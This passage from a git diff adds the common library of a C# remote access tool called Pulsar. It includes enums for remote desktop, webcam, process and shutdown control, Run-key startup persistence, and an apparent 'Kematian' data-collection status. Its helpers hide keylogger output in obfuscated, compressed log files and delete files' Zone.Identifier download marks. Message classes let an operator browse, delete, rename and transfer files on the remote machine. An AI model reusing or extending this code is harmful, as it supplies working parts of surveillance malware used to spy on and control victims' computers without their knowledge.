Pulsar.Common.Enums +{ + public enum KematianStatus + { + Idle, + Collecting, + Completed, + Failed + } +} \ No newline at end of file diff --git a/Pulsar.Common/Enums/MouseAction.cs b/Pulsar.Common/Enums/MouseAction.cs new file mode 100644 index 0000000..6fbd4d6 --- /dev/null +++ b/Pulsar.Common/Enums/MouseAction.cs @@ -0,0 +1,14 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum MouseAction + { + LeftDown, + LeftUp, + RightDown, + RightUp, + MoveCursor, + ScrollUp, + ScrollDown, + None + } +} diff --git a/Pulsar.Common/Enums/ProcessAction.cs b/Pulsar.Common/Enums/ProcessAction.cs new file mode 100644 index 0000000..8c29b25 --- /dev/null +++ b/Pulsar.Common/Enums/ProcessAction.cs @@ -0,0 +1,11 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum ProcessAction + { + Start, + End, + SetTopMost, + None, + Suspend + } +} diff --git a/Pulsar.Common/Enums/RemoteDesktopState.cs b/Pulsar.Common/Enums/RemoteDesktopState.cs new file mode 100644 index 0000000..bf35867 --- /dev/null +++ b/Pulsar.Common/Enums/RemoteDesktopState.cs @@ -0,0 +1,16 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum RemoteDesktopStatus + { + Start, + Stop, + Continue, + } + + public enum RemoteWebcamStatus + { + Start, + Stop, + Continue, + } +} diff --git a/Pulsar.Common/Enums/ShutdownAction.cs b/Pulsar.Common/Enums/ShutdownAction.cs new file mode 100644 index 0000000..0835e69 --- /dev/null +++ b/Pulsar.Common/Enums/ShutdownAction.cs @@ -0,0 +1,10 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum ShutdownAction + { + Shutdown, + Restart, + Standby, + Lockscreen + } +} diff --git a/Pulsar.Common/Enums/StartupType.cs b/Pulsar.Common/Enums/StartupType.cs new file mode 100644 index 0000000..bdc36b8 --- /dev/null +++ b/Pulsar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 + } +} diff --git a/Pulsar.Common/Enums/UserStatus.cs b/Pulsar.Common/Enums/UserStatus.cs new file mode 100644 index 0000000..6c6c954 --- /dev/null +++ b/Pulsar.Common/Enums/UserStatus.cs @@ -0,0 +1,8 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum UserStatus + { + Active, + Idle + } +} diff --git a/Pulsar.Common/Extensions/DriveTypeExtensions.cs b/Pulsar.Common/Extensions/DriveTypeExtensions.cs new file mode 100644 index 0000000..29b5d51 --- /dev/null +++ b/Pulsar.Common/Extensions/DriveTypeExtensions.cs @@ -0,0 +1,27 @@ +ο»Ώusing System.IO; + +namespace Pulsar.Common.Extensions +{ + public static class DriveTypeExtensions + { + /// + /// Converts the value of the instance to its friendly string representation. + /// + /// The . + /// The friendly string representation of the value of this instance. + public static string ToFriendlyString(this DriveType type) + { + switch (type) + { + case DriveType.Fixed: + return "Local Disk"; + case DriveType.Network: + return "Network Drive"; + case DriveType.Removable: + return "Removable Drive"; + default: + return type.ToString(); + } + } + } +} diff --git a/Pulsar.Common/Extensions/SocketExtensions.cs b/Pulsar.Common/Extensions/SocketExtensions.cs new file mode 100644 index 0000000..eeec1ce --- /dev/null +++ b/Pulsar.Common/Extensions/SocketExtensions.cs @@ -0,0 +1,48 @@ +ο»Ώusing System; +using System.Net.Sockets; +using System.Runtime.InteropServices; + +namespace Pulsar.Common.Extensions +{ + /// + /// Socket Extension for KeepAlive + /// + /// Abdullah Saleem + /// a.saleem2993@gmail.com + public static class SocketExtensions + { + /// + /// A structure used by SetKeepAliveEx Method + /// + [StructLayout(LayoutKind.Sequential)] + internal struct TcpKeepAlive + { + internal uint onoff; + internal uint keepalivetime; + internal uint keepaliveinterval; + }; + + /// + /// Sets the Keep-Alive values for the current tcp connection + /// + /// Current socket instance + /// Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines. + /// Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry. + public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime) + { + var keepAlive = new TcpKeepAlive + { + onoff = 1, + keepaliveinterval = keepAliveInterval, + keepalivetime = keepAliveTime + }; + int size = Marshal.SizeOf(keepAlive); + IntPtr keepAlivePtr = Marshal.AllocHGlobal(size); + Marshal.StructureToPtr(keepAlive, keepAlivePtr, true); + var buffer = new byte[size]; + Marshal.Copy(keepAlivePtr, buffer, 0, size); + Marshal.FreeHGlobal(keepAlivePtr); + socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); + } + } +} diff --git a/Pulsar.Common/Extensions/StringExtensions.cs b/Pulsar.Common/Extensions/StringExtensions.cs new file mode 100644 index 0000000..61b5895 --- /dev/null +++ b/Pulsar.Common/Extensions/StringExtensions.cs @@ -0,0 +1,69 @@ +ο»Ώusing Pulsar.Common.Enums; + +namespace Pulsar.Common.Extensions +{ + public static class StringExtensions + { + /// + /// Converts the file extension string to its representation. + /// + /// The file extension string. + /// The representation of the file extension string. + public static ContentType ToContentType(this string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } + } +} diff --git a/Pulsar.Common/Helpers/ClipboardHelper.cs b/Pulsar.Common/Helpers/ClipboardHelper.cs new file mode 100644 index 0000000..3ee4d70 --- /dev/null +++ b/Pulsar.Common/Helpers/ClipboardHelper.cs @@ -0,0 +1,20 @@ +ο»Ώusing System; +using System.Windows.Forms; + +namespace Pulsar.Common.Helpers +{ + public static class ClipboardHelper + { + public static void SetClipboardTextSafe(string text) + { + try + { + Clipboard.SetText(text); + } + catch (Exception) + { + + } + } + } +} diff --git a/Pulsar.Common/Helpers/FileHelper.cs b/Pulsar.Common/Helpers/FileHelper.cs new file mode 100644 index 0000000..5b651fb --- /dev/null +++ b/Pulsar.Common/Helpers/FileHelper.cs @@ -0,0 +1,228 @@ +ο»Ώusing Pulsar.Common.Cryptography; +using System; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Text; + +namespace Pulsar.Common.Helpers +{ + public static class FileHelper + { + private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + + public static bool HasIllegalCharacters(string path) + { + return path.Any(c => IllegalPathChars.Contains(c)); + } + + public static string GetRandomFilename(int length, string extension = "") + { + return string.Concat(StringHelper.GetRandomString(length), extension); + } + + public static string GetTempFilePath(string extension = "") + { + string tempFilePath; + do + { + tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); + } while (File.Exists(tempFilePath)); + + return tempFilePath; + } + + public static bool HasExecutableIdentifier(byte[] binary) + { + if (binary.Length < 2) return false; + return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M'); + } + + public static bool DeleteZoneIdentifier(string filePath) + { + return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); + } + + public static void WriteLogFile(string filename, string appendText, Aes256 aes) + { + appendText = ReadLogFile(filename, aes) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Write(data, 0, data.Length); + fStream.Flush(true); + } + } + + public static string ReadLogFile(string filename, Aes256 aes) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } + + /// + /// Append obfuscated (and compressed) text in temp/log files safely using framed chunks. + /// Each write: [4-byte length][obfuscated bytes]. + /// The plain text is compressed with GZip before obfuscation to save disk space. + /// + public static void WriteObfuscatedLogFile(string filename, string appendText) + { + if (string.IsNullOrEmpty(filename)) throw new ArgumentNullException(nameof(filename)); + if (appendText == null) appendText = string.Empty; + + byte[] plainBytes = Encoding.UTF8.GetBytes(appendText); + + // Compress plaintext first to save space (backwards-compatible: readers will detect gzip) + byte[] compressed = CompressGzip(plainBytes); + + // Obfuscate the compressed bytes + byte[] obfBytes = ByteRotationObfuscator.Obfuscate(compressed); + + string dir = Path.GetDirectoryName(filename); + if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir)) + Directory.CreateDirectory(dir); + + try + { + using (var fs = File.Open(filename, FileMode.Append, FileAccess.Write, FileShare.Read)) + using (var bw = new BinaryWriter(fs, Encoding.UTF8)) + { + bw.Write(obfBytes.Length); // 4-byte length prefix + bw.Write(obfBytes); // obfuscated (compressed) chunk + bw.Flush(); + fs.Flush(true); + } + } + catch + { + // silently ignore append errors to avoid crashing keylogger + } + } + + /// + /// Read obfuscated log file with support for framed chunks and automatic gzip decompression. + /// Falls back to legacy single-block deobfuscation if framed read fails. + /// + public static string ReadObfuscatedLogFile(string filename) + { + if (string.IsNullOrEmpty(filename) || !File.Exists(filename)) + return string.Empty; + + try + { + byte[] allBytes = File.ReadAllBytes(filename); + if (allBytes.Length == 0) return string.Empty; + + using (var ms = new MemoryStream(allBytes)) + using (var br = new BinaryReader(ms, Encoding.UTF8)) + { + var sb = new StringBuilder(); + bool framed = true; + + while (ms.Position < ms.Length) + { + if (ms.Length - ms.Position < 4) + { + framed = false; + break; + } + + int len = br.ReadInt32(); + if (len < 0 || len > ms.Length - ms.Position) + { + framed = false; + break; + } + + byte[] chunk = br.ReadBytes(len); + if (chunk == null || chunk.Length == 0) + continue; + + // Deobfuscate chunk first + byte[] deob = ByteRotationObfuscator.Deobfuscate(chunk); + + // Try to detect gzip via magic bytes and decompress to raw bytes + try + { + if (deob.Length >= 2 && deob[0] == 0x1F && deob[1] == 0x8B) + { + byte[] decompressedBytes = DecompressGzipToBytes(deob); + sb.Append(Encoding.UTF8.GetString(decompressedBytes)); + } + else + { + // Not compressed β€” interpret directly as UTF8 + sb.Append(Encoding.UTF8.GetString(deob)); + } + } + catch + { + // On any failure, try to at least interpret deob as UTF8 to avoid losing text + try { sb.Append(Encoding.UTF8.GetString(deob)); } catch { /* ignore */ } + } + } + + if (framed) return sb.ToString(); + } + } + catch + { + // ignore and fallback + } + + // fallback to legacy single-block deobfuscation (file previously written without framing or compression) + try + { + byte[] obfAll = File.ReadAllBytes(filename); + byte[] deobAll = ByteRotationObfuscator.Deobfuscate(obfAll); + + // If deobAll appears to be gzip compressed, decompress + if (deobAll.Length >= 2 && deobAll[0] == 0x1F && deobAll[1] == 0x8B) + { + byte[] decompressed = DecompressGzipToBytes(deobAll); + return Encoding.UTF8.GetString(decompressed); + } + + return Encoding.UTF8.GetString(deobAll); + } + catch + { + return string.Empty; + } + } + + private static byte[] DecompressGzipToBytes(byte[] compressed) + { + using (var input = new MemoryStream(compressed)) + using (var gzip = new System.IO.Compression.GZipStream(input, System.IO.Compression.CompressionMode.Decompress)) + using (var output = new MemoryStream()) + { + gzip.CopyTo(output); + return output.ToArray(); + } + } + + + private static byte[] CompressGzip(byte[] data) + { + try + { + using (var output = new MemoryStream()) + { + using (var gzip = new GZipStream(output, CompressionLevel.Optimal, leaveOpen: true)) + { + gzip.Write(data, 0, data.Length); + } + // Reset position to read full compressed array + output.Position = 0; + return output.ToArray(); + } + } + catch + { + // if compression fails, return original data to avoid data loss + return data; + } + } + } +} diff --git a/Pulsar.Common/Helpers/PlatformHelper.cs b/Pulsar.Common/Helpers/PlatformHelper.cs new file mode 100644 index 0000000..3eeaf98 --- /dev/null +++ b/Pulsar.Common/Helpers/PlatformHelper.cs @@ -0,0 +1,166 @@ +ο»Ώusing System; +using System.Management; +using System.Text.RegularExpressions; + +namespace Pulsar.Common.Helpers +{ + public static class PlatformHelper + { + /// + /// Initializes the class. + /// + static PlatformHelper() + { + Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; + SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); + EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); + EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); + TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); + ElevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0) && Environment.OSVersion.Version.Build >= 22000); + + Name = GetOSNameFromEnvironment(); + + Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start + Is64Bit = Environment.Is64BitOperatingSystem; + FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit"; + } + + /// + /// Gets the full name of the operating system running on this computer (including the edition and architecture). + /// + public static string FullName { get; } + + /// + /// Gets the name of the operating system running on this computer (including the edition). + /// + public static string Name { get; } + + /// + /// Determines whether the Operating System is 32 or 64-bit. + /// + /// + /// true if the Operating System is 64-bit, otherwise false for 32-bit. + /// + public static bool Is64Bit { get; } + + /// + /// Returns a indicating whether the Operating System is Windows 32 NT based. + /// + /// + /// true if the Operating System is Windows 32 NT based; otherwise, false. + /// + public static bool Win32NT { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 7 or higher. + /// + /// + /// true if the Operating System is Windows 7 or higher; otherwise, false. + /// + public static bool SevenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8 or higher. + /// + /// + /// true if the Operating System is Windows 8 or higher; otherwise, false. + /// + public static bool EightOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. + /// + /// + /// true if the Operating System is Windows 8.1 or higher; otherwise, false. + /// + public static bool EightPointOneOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 10 or higher. + /// + /// + /// true if the Operating System is Windows 10 or higher; otherwise, false. + /// + public static bool TenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 11 or higher. + /// + /// + /// true if the Operating System is Windows 11 or higher; otherwise, false. + /// + public static bool ElevenOrHigher { get; } + + /// + /// Gets the OS name from environment variables and registry as fallback for WMI. + /// + private static string GetOSNameFromEnvironment() + { + try + { + // Try to get from registry first (more reliable than WMI) + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion")) + { + if (key != null) + { + var productName = key.GetValue("ProductName")?.ToString(); + var currentBuild = key.GetValue("CurrentBuild")?.ToString(); + var displayVersion = key.GetValue("DisplayVersion")?.ToString(); + var ubr = key.GetValue("UBR")?.ToString(); // Update Build Revision + + if (!string.IsNullOrEmpty(productName)) + { + // Fix Windows 11 detection - registry might still report "Windows 10" in some cases + if (productName.Contains("Windows 10")) + { + // Check if this is actually Windows 11 + if (int.TryParse(currentBuild, out int buildNumber) && buildNumber >= 22000) + { + return "Windows 11" + (string.IsNullOrEmpty(displayVersion) ? "" : " " + displayVersion); + } + } + + // Handle Windows 11 that's properly reported in registry + if (productName.Contains("Windows 11")) + { + return productName; + } + + return productName; + } + } + } + + // Fallback to Environment.OSVersion with proper Windows 11 detection + var version = Environment.OSVersion; + if (version.Platform == PlatformID.Win32NT) + { + // Windows 11 has build number 22000 or higher + if (version.Version.Major == 10 && version.Version.Minor == 0) + { + return version.Version.Build >= 22000 ? "Windows 11" : "Windows 10"; + } + else if (version.Version.Major == 6) + { + if (version.Version.Minor == 3) return "Windows 8.1"; + if (version.Version.Minor == 2) return "Windows 8"; + if (version.Version.Minor == 1) return "Windows 7"; + if (version.Version.Minor == 0) return "Windows Vista"; + } + else if (version.Version.Major == 5) + { + if (version.Version.Minor == 2) return "Windows XP Professional x64 Edition"; + if (version.Version.Minor == 1) return "Windows XP"; + if (version.Version.Minor == 0) return "Windows 2000"; + } + } + } + catch + { + // Ignore errors + } + + return "Unknown OS"; + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Helpers/StringHelper.cs b/Pulsar.Common/Helpers/StringHelper.cs new file mode 100644 index 0000000..d8ecc2f --- /dev/null +++ b/Pulsar.Common/Helpers/StringHelper.cs @@ -0,0 +1,80 @@ +ο»Ώusing Pulsar.Common.Utilities; +using System.Text; +using System.Text.RegularExpressions; + +namespace Pulsar.Common.Helpers +{ + public static class StringHelper + { + /// + /// Available alphabet for generation of random strings. + /// + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + + /// + /// Abbreviations of file sizes. + /// + private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; + + /// + /// Random number generator. + /// + private static readonly SafeRandom Random = new SafeRandom(); + + /// + /// Gets a random string with given length. + /// + /// The length of the random string. + /// A random string. + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + + /// + /// Gets the human readable file size for a given size. + /// + /// The file size in bytes. + /// The human readable file size. + public static string GetHumanReadableFileSize(long size) + { + double len = size; + int order = 0; + while (len >= 1024 && order + 1 < Sizes.Length) + { + order++; + len = len / 1024; + } + return $"{len:0.##} {Sizes[order]}"; + } + + /// + /// Gets the formatted MAC address. + /// + /// The unformatted MAC address. + /// The formatted MAC address. + public static string GetFormattedMacAddress(string macAddress) + { + return (macAddress.Length != 12) + ? "00:00:00:00:00:00" + : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); + } + + /// + /// Safely removes the last N chars from a string. + /// + /// The input string. + /// The amount of last chars to remove (=N). + /// The input string with N removed chars. + public static string RemoveLastChars(string input, int amount = 2) + { + if (input.Length > amount) + input = input.Remove(input.Length - amount); + return input; + } + } +} diff --git a/Pulsar.Common/IO/FileSplit.cs b/Pulsar.Common/IO/FileSplit.cs new file mode 100644 index 0000000..be0334a --- /dev/null +++ b/Pulsar.Common/IO/FileSplit.cs @@ -0,0 +1,124 @@ +ο»Ώusing Pulsar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; + +namespace Pulsar.Common.IO +{ + public class FileSplit : IEnumerable, IDisposable + { + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) + { + switch (fileAccess) + { + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); + } + } + + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) + { + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); + } + + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) + { + _fileStream.Seek(offset, SeekOrigin.Begin); + + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; + + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); + + return new FileChunk + { + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; + } + + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() + { + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + { + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } + + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _fileStream.Dispose(); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Pulsar.Common/Messages/.DS_Store b/Pulsar.Common/Messages/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..0133d6ede40e748b1cd3748997505f8321d4b788 GIT binary patch literal 8196 zcmeHM!EO^V5PhbJ2#r8JR-E?0l|wJwkhUf52}DtZxRy3;T9Mt2(gd#iAqa^dKuCN6 zz4RM6BXQ*ycw@WOI=jxo1tB_)?3dUxp69oAHnRa>b{3;8U=u)(RdA!vrlH8V)LOaa zdma!C{ec{3IL90_yslYmhbo{7r~;~hDxeDd3kvX_Eu|N^@4HcLRRLAtMk*lR4+*Pa z>alcazdG316oA-aw=I0nJiz)S9#fB{L+i>pUG`wStMMs@aqb*X#GIIVEFC&`80QY- zBO9Ng7#p2_i8Y5w9crrzr~-8bBzM1uZH$mHcdzE}bAB$6PsUrrqavF+*QX!b?6YDp zIGhxRw38#b_w~!=cDv8$kA0@66<%ux41q4!vEWL`J7j(5LpU1YSnjA42u`3-~7dG~n4$-FL#Opr{`97hk_@o|7 XhwNeb>kk5&G7Y`|+iRiC%~9YN4by&G literal 0 HcmV?d00001 diff --git a/Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs b/Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs new file mode 100644 index 0000000..092dcfd --- /dev/null +++ b/Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.Actions +{ + [MessagePackObject] + public class DoShutdownAction : IMessage + { + [Key(1)] + public ShutdownAction Action { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs b/Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs new file mode 100644 index 0000000..782eaf1 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs @@ -0,0 +1,16 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class DoPathDelete : IMessage + { + [Key(1)] + public string Path { get; set; } + + [Key(2)] + public FileType PathType { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs b/Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs new file mode 100644 index 0000000..944c477 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs @@ -0,0 +1,19 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class DoPathRename : IMessage + { + [Key(1)] + public string Path { get; set; } + + [Key(2)] + public string NewPath { get; set; } + + [Key(3)] + public FileType PathType { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs b/Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs new file mode 100644 index 0000000..5339c79 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs @@ -0,0 +1,18 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class DoZipFolder : IMessage + { + [Key(1)] + public string SourcePath { get; set; } + + [Key(2)] + public string DestinationPath { get; set; } + + [Key(3)] + public int CompressionLevel { get; set; } = (int)System.IO.Compression.CompressionLevel.Optimal; + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs new file mode 100644 index 0000000..32e2c22 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class FileTransferCancel : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string Reason { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs new file mode 100644 index 0000000..f67ab39 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs @@ -0,0 +1,25 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class FileTransferChunk : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string FilePath { get; set; } + + [Key(3)] + public long FileSize { get; set; } + + [Key(4)] + public FileChunk Chunk { get; set; } + + [Key(5)] + public string FileExtension { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs new file mode 100644 index 0000000..88a325f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class FileTransferComplete : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string FilePath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs new file mode 100644 index 0000000..2a4bd7f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class FileTransferRequest : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string RemotePath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs new file mode 100644 index 0000000..da2ca0f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDirectory : IMessage + { + [Key(1)] + public string RemotePath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs new file mode 100644 index 0000000..47cf07b --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs @@ -0,0 +1,16 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDirectoryResponse : IMessage + { + [Key(1)] + public string RemotePath { get; set; } + + [Key(2)] + public FileSystemEntry[] Items { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs new file mode 100644 index 0000000..df69042 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDrives : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs new file mode 100644 index 0000000..89b16c1 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDrivesResponse : IMessage + { + [Key(1)] + public Drive[] Drives { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs b/Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs new file mode 100644 index 0000000..95ba7fa --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs @@ -0,0 +1,15 @@ 